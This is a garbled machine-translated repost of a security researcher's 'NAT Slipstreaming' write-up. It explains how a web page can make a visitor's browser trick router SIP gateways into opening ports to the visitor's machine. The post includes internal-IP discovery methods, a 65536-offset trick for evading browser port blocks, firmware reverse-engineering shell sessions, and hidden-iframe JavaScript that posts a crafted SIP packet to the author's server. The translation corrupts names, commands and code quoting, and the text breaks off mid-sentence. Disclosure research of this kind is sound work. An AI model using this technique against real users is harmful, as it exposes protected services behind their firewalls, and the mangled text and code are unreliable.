NAT滑流

2020-11-01 07:36:54

NAT滑流允许攻击者仅通过受害者访问网站,绕过受害者的NAT/防火墙(任意防火墙针孔控制),远程访问绑定到受害者计算机的任何TCP/UDP服务。

使用我的Draw.io分支生成,允许在动画中进行可导出的边缘上下文流和控制。

NAT滑流通过定时攻击或WebRTC链接内部IP提取、自动远程MTU和IP分段发现、TCP数据包大小消息传送、TURN身份验证误用、精确的数据包边界控制以及通过浏览器滥用造成的协议混乱,将用户浏览器与NAT、路由器和防火墙中内置的应用层网关(ALG)连接跟踪机制结合使用。

从2020年起,它可以在所有主要的现代(以及更老的)浏览器上运行,并且是我从2010年开始使用的原始NAT锁定技术的现代化版本(在DEFCON18+Black Hat 2010上展示)。这要求NAT/防火墙支持ALG(应用层网关),这对于可以使用多个端口(控制信道+数据信道)的协议(例如SIP和H323(VoIP协议)、FTP、IRC DCC等)是强制的。

它还包含新的技术,用于发现受害者的本地IP地址,并迫使受害者通过访问页面的用户在TCP和UDP数据包中传输任意数据。

受害者的内部IP首先必须由浏览器提取并发送到服务器有些浏览器(Chrome)只通过HTTPS上的WebRTC泄露本地IP,但是我们的一些攻击需要HTTP,所以我们首先重定向到攻击软件的HTTPS版本来提取本地IP。

然后,如果我们能够获得URL中包含本端IP的HTTP版本以绕过其他跨域保护机制(提供的.local mDNS/Bonjour地址将不会对攻击有用),我们会将其重定向到该URL中包含本端IP的HTTP版本。

如果WebRTC(Safari)未泄露内部IP或没有WebRTC(<;=IE11),如果网关返回任何TCP RST(或SYN+HTTP响应),则会执行基于Web的TCP计时攻击,我们已检测到有效子网

对检测到的子网(/24)上的所有IP重新执行计时攻击,测量onerror/onSuccess触发的时间。

响应最快的可能是内部IP,尽管所有响应都被视为受害者内部IP候选并受到攻击。

通过隐藏形式和自动HTTP POST发送到绑定到非标准端口的攻击者HTTP服务器的大型TCP信标,以强制发现受害者的IP堆栈攻击者的TCP分段和最大MTU大小TCP服务器发送最大分段大小TCP选项来通知受害者出站数据包大小(RFC 793x3.1),从而允许控制浏览器TCP数据包的大小。

通过WebRTC从浏览器发送的大型UDP信标将身份验证机制转换为非标准端口到攻击者的服务器,以强制IP分段,并填充TURN用户名字段。我们执行与TCP分段类似的攻击,但在UDP上会发生IP分段,并提供与TCP分段不同的值。

受害者MTU大小、IP报头大小、IP数据包大小、TCP报头大小、TCP数据段大小由服务器检测并发送回受害者的浏览器,稍后用于数据包填充。

";SIP数据包";以新的隐藏形式生成,包含内部IP以触发应用程序级网关连接跟踪";HTTP POST&34;到TCP端口5060(SIP端口)启动的服务器,避免了受限的浏览器端口。

POST数据被填充以精确的TCP数据段大小/数据包边界,然后附加“SIP数据包”并通过Web表单发布。

受害者IP堆栈将POST分解为多个TCP数据包,将SIP数据包(作为POST数据的一部分)留在其自己的TCP数据包中,没有任何HTTP报头

如果浏览器更改了多部分/表单边界(Firefox)的大小或由于任何其他原因更改了数据包大小,则大小更改会传回客户端,并且客户端会使用新的大小自动重新发送。

当打开UDP端口时,SIP数据包通过TURN协议在巧尽心思构建的用户名字段内发送,强制IP分段和精确的边界控制。

受害者NAT在SIP端口(没有HTTP数据)上看到正确的SIP REGISTER数据包,触发ALG打开返回受害者NAT的数据包中定义的任何TCP/UDP端口,重写SIP数据包,将内部IP替换为公共IP,提示攻击者攻击成功。

即使受害者NAT正常重写源端口,ALG仍将被迫将端口转发到攻击者选择的端口,因为ALG相信受害者机器打开了该端口,并且攻击者在到达的SIP数据包中看到新的源端口。

攻击者现在可以绕过受害者NAT,直接连接回受害者计算机上的任何端口,从而暴露以前受保护/隐藏的服务。

我们使用NAT(网络地址转换)有几个原因。NAT最有用的功能是允许在多个系统之间共享单个公有IP地址。它通过创建本地网络,向所有连接的计算机提供本地IP地址来实现这一点,当其中一个系统连接到Internet时,它会重写外出的数据包以使用公共IP,以便响应返回到NAT,反之亦然,将目标IP重写到特定客户端的IP。

NAT有责任区分来自内部主机的到相同地址/端口(google.com:443)的连接,因为它们的出站端口、目的IP和源IP最终都将是相同的。如果两个不同的内部对等项尝试从同一源端口连接,则现代NAT会改变其中一个源端口(某些网络会对所有TCP/UDP源端口执行此操作)。

构建在Netfilter框架之上的一个重要功能是连接跟踪。连接跟踪允许内核跟踪所有逻辑网络连接或会话,从而将组成该连接的所有数据包关联起来。NAT依靠此信息以相同方式转换所有相关数据包,iptables可以使用此信息充当状态防火墙。

如果NAT后的机器将数据包发送出去,并且您的路由器希望远程主机做出响应,则它会跟踪信息,特别是源和目的端口、源和目的IP地址以及您的内部IP,然后将任何与其匹配的数据包返回给您的内部IP。

如果LAN上的另一台主机尝试使用相同的源和目标端口+IP建立相同的连接,您的NAT将无法区分它,因此它会更改源端口,但在发回给您时会将其重写。

ALG允许NAT跟踪多端口协议(如FTP)从您的系统传出到FTP服务器,然后跟踪当您请求将文件发送到特定端口上的内部IP时,ALG可以重写数据包以包括您的公共IP,然后将FTP的服务器连接转发回您。如果没有重写您的IP,FTP服务器将尝试在您的内部IP上连接回您(或者,如果它希望源IP与信令连接相同,则根本不尝试)。

在计算机联网的上下文中,应用层网关由安全组件组成,该安全组件增强了计算机网络中采用的防火墙或NAT。它允许将定制的NAT穿越过滤器插入网关,以支持特定应用层协议(如FTP、BitTorrent、SIP、RTSP、IM应用程序中的文件传输等)的地址和端口转换。为了使这些协议通过NAT或防火墙,应用程序必须知道允许传入数据包的地址/端口号组合,或者NAT必须根据需要监控控制流量并动态打开端口映射(防火墙针孔)。因此,合法的应用程序数据可以通过防火墙或NAT的安全检查,否则会因为不满足其有限的过滤标准而限制流量。

我首先想看看普通网关实际上是如何处理数据包和FTP、SIP等多端口协议的。要做到这一点,我们需要对普通路由器的固件进行反向工程。我们可以从物理路由器上转储闪存,但是,如果我们可以从制造商那里获得未加密的固件,我们将能够更快地调查更多的路由器型号。

我们将从一款常见的路由器Netkit Nighthawk R7000开始。快速搜索可帮助我们找到带有最新固件的Netkit文章。下载固件并解压缩后,我们发现一个名为R7000-V1.0.9.64_10.2.64.chk的30MB文件。

虎血:~c/ng$wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip--2019-05-19 19:21:13--http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zipResolving www.downloads.netgear.com(www.downloads.netgear.com)...。104.69.65.243连接www.downloads.netgear.com(www.downloads.netgear.com)|104.69.65.243|:80...。已连接。已发送HTTP请求,正在等待响应...。200OK长度:31705064(30M)[应用程序/压缩]保存至:‘R7000-V1.0.9.64_10.2.64.zip’R7000-V1.0.9.64_10.2.64.zip 100%[=>;]30.24M 6.25MB/s in 11s2019-05-19 19:21:24(2.83MB/s)-‘R7000-V1.0.9.64_10.2.64.zip’保存[31705064/31705064]虎血:~c/ng$unzip R7000-V1.0.9.64_10.2.64.zip存档:R7000-V1.0.9.64_10.2.64.zip解压:R7000-V1.0.9.64_10.2.64.chk充气:R7000-。V1.0.9.64_10.2.64_Release_Notes.htmltigerblood:~c/ng$文件R7000-V1.0.9.64_10.2.64.chkR7000-V1.0.9.64_10.2.64.chk:数据指示器血液:~c/ng$ls-LH R7000-V1.0.9.64_10.2.64.chk-rw-r--r--1 SAMY员工30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk。

File命令没有检测到任何魔术信息,所以我们可以使用binwalk来扫描文件中的嵌套数据。

虎血:~c/ng$binwald R7000-V1.0.9.64_10.2.64.chkDECIMAL十六进制DESCRIPTION----58 0x3A Trx固件标头,小端,图像大小:31703040字节,CRC32:0xBEF1BB2F,标志:0x0,版本:1,标头大小:28字节,加载器偏移量:0x1C,linux内核偏移量:0x21E3F0,根文件偏移量:0x086 0x56 lzma压缩数据,属性:0x5D,字典大小:65536字节,解压缩大小:5436416字节2221098 0x21E42A Squashfs文件系统,小端,Version 4.0,压缩:xz,大小:29475437字节,1988年inode,块大小:131072字节,创建时间:2018年-12-26 04:15:38。

我使用MacOS,而binwalk依赖于一些开箱即用的Linux应用程序,这会导致binwalk-e(解压文件)失败,所以我手动解压(还有I<;3Perl Golf)。

你可以使用dd,但是你想要一个很大的bs(块大小),这样它可以快速输出,例如1024,但是跳过属性(告诉它从squashfs blob的位置开始)会考虑块大小,在我的头脑中,除了2…之外,很明显2221098不能快速整除。现在我很好奇。

虎血:~c/ng$time dd if=R7000-V1.0.9.64_10.2.64.chk SKIP=$((2221098/2))bs=2 of=squash.fs214741000+0记录在14741000+0记录输出29482000字节,传输时间为78.363403秒(376222字节/秒)实际1m18.385s用户0m12.553ssys 1m4.451s。

现在让我们解开压缩文件系统。我已经创建了一个分支squashfs--在MacOS上运行并支持LZO的工具。您可能还需要安装XZ和LZO。或者,您可以在Linux上使用Sasquatch。

泰格布拉德:~c/ng$sudo port install XZ lzo...tigerred:~c/ng$git克隆https://github.com/samyk/squashfs-tools&;&;cd squashfs-Tools/squashfs-tools&;&;sudo make&;&;sudo make install&;&;cd../.。

虎血:~c/ng$unsquashfs-l-no squash.fs并行unsquashfs:对writesquashfs-rootsquashfs-root/binsquashfs-root/bin/addgroup...使用8个处理器1881inode(2535block)。(更多文件)...tigerred:~c/ng$cd squashfs-root&;&;lsbin data dev etc lib media mnt opt proc sbin share sys tmp usr var www。

现在让我们看看我们是否能找到任何与FTP相关的文件,因为它是一个经常使用的协议,所以ALG支持将在路由器上泛滥。我使用我的g工具,它只是对egrep进行方便的包装。

没有什么有趣的东西,所以让';g表示内容与/ftp/匹配的二进制文件,忽略一些我们不关心的文件。

默认情况下,g递归扫描当前工作目录。-l仅打印文件名(因为它们大多是二进制文件),-a扫描二进制文件,ftp查找要匹配的文本,-v';\.(HTML?|js|gif)$|www/|bin/';忽略web文件和可执行文件(位于bin/中)。

好的,两个感兴趣的文件-lib/lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko/tdts.ko可能是相关的,而模块可能不相关,但听起来很有趣!以后可能会对此进行调查。

虎血:~c/ng/squashfs-root$filelib/MODLES/tdts.kolib/MODLES/tdts.ko:ELF 32位LSB可重定位,ARM,EABI5版本1(SYSV),BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b,Not strippedtigerred:~c/ng/squashfs-root$string lib/MODLES/tdts.ko|g ftpftp_decoder_openftp_decoder_closeftp_decode_epsv_respftp_decode_eprt_cmdftp_decode_pasv_respftp_decodeftp_decode_port_cmdftp_decodercheck_ftp_ft_rule。

好的!。如果内核对象(.ko)具有ftp函数,并且带有类似端口之类的字词,则它可能与FTP ALG相关。FTP RFC 959解释了PORT命令的含义:

数据端口(端口)该参数是要在数据连接中使用的数据端口的主机端口规范。用户和服务器数据端口都有默认值,正常情况下不需要此命令及其回复。如果使用此命令,参数是32位Internet主机地址和16位TCP端口地址的串联。此地址信息被分成8位字段,每个字段的值以十进制数的形式传输(输入字符串表示)。字段之间用逗号分隔。端口命令将是:端口h1、h2、h3、h4、p1、p2,其中h1是互联网主机地址的高位8位。

虽然我们已经找到了一些FTP功能,但我们更感兴趣的是我们可以使用的端口。现代浏览器阻止出站HTTP(S)连接到许多受限端口,包括FTP,因此滥用FTP ALG可能是行不通的。

2010年,当我第一次演示NAT钉住时,我通过DCC聊天/文件消息使用了端口6667(IRC)。很快,浏览器供应商封锁了6667…端口。虽然有些人使用uint32(32位无符号整数)来存储端口,但请检查端口是否被阻塞,如果没有,则连接。要避免这一点,重要的是要注意tcp端口是16位长,因此如果您将2**16(65536)添加到所选的受限端口(在本例中为65536+6667=72203),浏览器将存储72203,它将通过端口限制(72203!=6667),然后将被发送到tcp堆栈,在那里它被截断为16位,这就是我们想要的受限端口!

我们可以使用我的Diffits工具更好地查看它,这是一个简单的工具,用于查看位串之间以及多组位串之间的异同,对于逆转专有的二进制协议很有用。

继续打开您选择的反汇编程序。我已经使用了我们在美国国家安全局的朋友提供的Ghidra,因为它是免费和开源的。

我们通过字符串在tdts.ko中看到的一些函数是ftp_decode和ftp_decder,因此其他ALG可能会有_decode函数。让我们看看…。

检查我们的受限浏览器端口,我们看到默认的SIP端口5060在Chrome中不受限制:)。

SIP驻留在TCP/UDP 5060上,但是像RTP(音频)这样的媒体是在动态生成的备用端口上发送的。在发送SIP呼叫请求时,您的SIP客户端会选择一个随机端口,将其打开,并将其包含在SIP标头中。假设SIP ALG已启用(并且默认情况下在大多数路由器上),您的NAT也应该看到它并将其打开。

假设NAT阅读器SIP数据包逐行(SIP像HTTP一样基于newline,不是二进制协议),那么它可能会忽略HTTP报头,一旦到达POST数据,就读取寄存器并认为它是SIP数据包。这在我们2010版本的IRC DCC中起作用。NAT忽略HTTP报头,仅解析IRC DCC命令。

有趣的是,这还允许访问我们站点的用户实际连接到合法的irc服务器,加入通道,并在他们不知道的情况下从他们的IP发送消息!:P I演示这种在端口25被浏览器阻止和SPF记录成为常见的…之前使用客户端IP地址向邮件服务器发送电子邮件的技术。太疯狂了。

现在,在一个快速测试中,通过HTTP post通过端口5060发送SIP register数据包似乎不能用于…。也许我们在包裹里漏掉了什么。

//我们的sip messagevar sipmsg=';register sip:samy.pl;Transport=TCPSIP/2.0\r\n&39;联系人:在iFrame中使用<;sip:[email protected]:1234;transport=TCP>;\r\n\r\n';//加载表单,这样用户就不会在iFrame=document.createElement(';iframe';)iframe.name=';iframe';iframe.style.display=';无';//隐藏IFRAME//创建Formvar Form=document.createElement(';form';)form.setAttribute(';target';,';IFRAME&39;)//加载到IFrameform.setAttribute(';method';,';post';)//需要可以添加CRLFsform.setAttribute(';action';,';http://samy.pl:5060';)的POST区域。)//";http";服务器位于SIP端口5060form.setAttribute(';enctype';,';multipart/form-data';)//确保我们的数据不会被编码dar texttarea=document.createElement(';textarea';)textarea.setAttribute(';name';,';TextName';)//Required dtextarea.innerHTML=sipmsgform.appendChild(textarea)document.body.appendChild(iframe)document.body.appendChild(form)form.submit()。

$unbuffer tcpdump-X端口5060|h2bPOST/HTTP/1.1主机:samy.pl:5060Connection:Keep-aliveContent-Length:191Cache-Control:max-age=0Origin:http://samy.plUpgrade-Insecure-Requests:1内容类型:多部分/表单数据;boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7AUser-Agent:Mozilla/5.0(Macintosh;Intel Mac OS X 10_14_4)AppleWebKit/537.36(KHTML,如壁虎)Chrome/75.0.3770.66Safari/537.36接受:文本/HTML,应用程序/xhtml+xml,应用程序/xml;Q=0.9,IMAGE/WebP,IMAGE/APNG,*/*;q=0.8,应用程序/签名交换;v=b3参考:http://samy.pl/o/sp.htmlAccept-Encoding:gzip,deducateAccept-Language:EN-US,en;q=0.9-WebKitFormBoundaryhcoAd2iSAx3TJA7AContent-Disposition:Form-Data;Name=";textname";register sip:samy.pl;Transport=TCPSIP/2.0联系:<;sip:[email protected]:1234;transport=TCP>;-WebKitFormBoundaryhcoAd2iSAx3TJA7A--。

然而,这并没有打开端口,IP也没有像我们预期的那样被重写(稍后将详细介绍),所以我们一定遗漏了什么。

让我们继续挖掘内核对象。在反汇编中,我们看到来自SIP包的";SIP/2.0&34;标记,因此它很可能在这里解析(“解码”听起来像这样)。

啊,这就是我们失败的原因。看起来它在INVITE上运行strncasecmp(寄存器上类似的解析)-匹配(不区分大小写,这很有趣,因为SIP INVITE是大写的)数据包开头的单词";invite";和分支if不等于(Arm Assembly Bne)为0,所以如果单词确实匹配,则词典顺序将为0,我们将继续使用ct_sip_get_header,这听起来很有趣,否则似乎可以省略。

这就是问题所在(The Problem…)。虽然我们可以使用Web浏览器生成出站套接字(TCP通过HTTP(S),UDP通过TURN w/WebRTC),但我们对浏览器没有足够的控制能力,无法使用此模块期望的单词";INVITE&34;开始TCP数据部分。在2010IRC版本中,IRC ALG只逐行查找,忽略所有HTTP头数据,然后在POST数据中使用换行符发送有效的“IRC DCC”。但是,这个SIP ALG要严格得多,并且不可能控制请求的开头。如果使用TLS,

.